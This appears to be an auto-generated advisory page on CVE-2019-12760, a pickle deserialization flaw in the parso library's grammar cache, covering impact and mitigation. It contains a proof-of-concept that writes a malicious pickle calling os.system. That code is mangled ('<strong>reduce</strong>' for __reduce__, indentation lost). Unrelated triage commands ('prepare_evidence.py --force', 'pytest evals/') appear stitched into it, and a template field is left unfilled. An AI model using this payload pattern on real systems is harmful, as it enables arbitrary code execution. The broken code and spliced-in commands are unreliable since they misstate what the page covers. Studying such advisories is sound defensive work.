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CVE-2019-12760 is a security vulnerability residing in the parso library’s grammar parsing and caching mechanism.
Specifically, parso utilizes Python’s built-in `pickle` module to serialize and cache parsed grammar states to disk for performance enhancement.
When an application invokes grammar parsing with caching enabled (cache=True), parso attempts to read and unpickle the cached grammar file from the designated directory.
The core flaw originates from the inherent insecurity of Python’s `pickle` module when handling untrusted data streams.
If an attacker can manipulate or replace the grammar cache file with a malicious pickle payload, the unpickling process executes arbitrary Python code during the cache read operation.
However, this vulnerability has a high barrier to exploitation because standard configurations do not allow attackers to write arbitrary files into the application’s internal cache directory.
Consequently, the risk is mitigated unless local write access or another misconfiguration permits cache file tampering.
The CVE-2019-12760 vulnerability underscores the risks associated with utilizing pickle for caching parsed structural data without cryptographic integrity verification or safe serialization alternatives.
DailyCVE Form:
Platform: Python Parso
Version: Through 0.4.0
Vulnerability : Pickle Deserialization Flaw
Severity: Low Risk
date: June 6 2019
Prediction: Expected Patch Date
What Undercode Say:
To verify imports and run the triage workflow, execute the preparation script:
python scripts/prepare_evidence.py --force
To check evidence and run the triage evaluation:
pytest evals/
Exploit: (Educational Purposes!)
An attacker creates a malicious pickle file containing arbitrary execution commands:
import pickle
import os
class MaliciousPayload:
def <strong>reduce</strong>(self):
return (os.system, ('echo "Exploit executed"',))
payload = pickle.dumps(MaliciousPayload())
with open('grammar_cache_file.pkl', 'wb') as f:
f.write(payload)
Placing this file into the parso cache path triggers arbitrary code execution when `grammar.parse(cache=True)` is called.
Protection: from this CVE
Upgrade the parso package to version 0.4.1 or later where grammar caching practices were reviewed, or disable grammar caching by setting `cache=False` when calling the parser. Ensure strict file permissions on cache directories to prevent unauthorized file replacement.
Impact:
Successful exploitation allows arbitrary code execution under the privileges of the running Python process, though practical exploitability is heavily restricted by the requirement of write access to the application’s local cache directory.
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Sources:
Reported By: github.com
Extra Source Hub:
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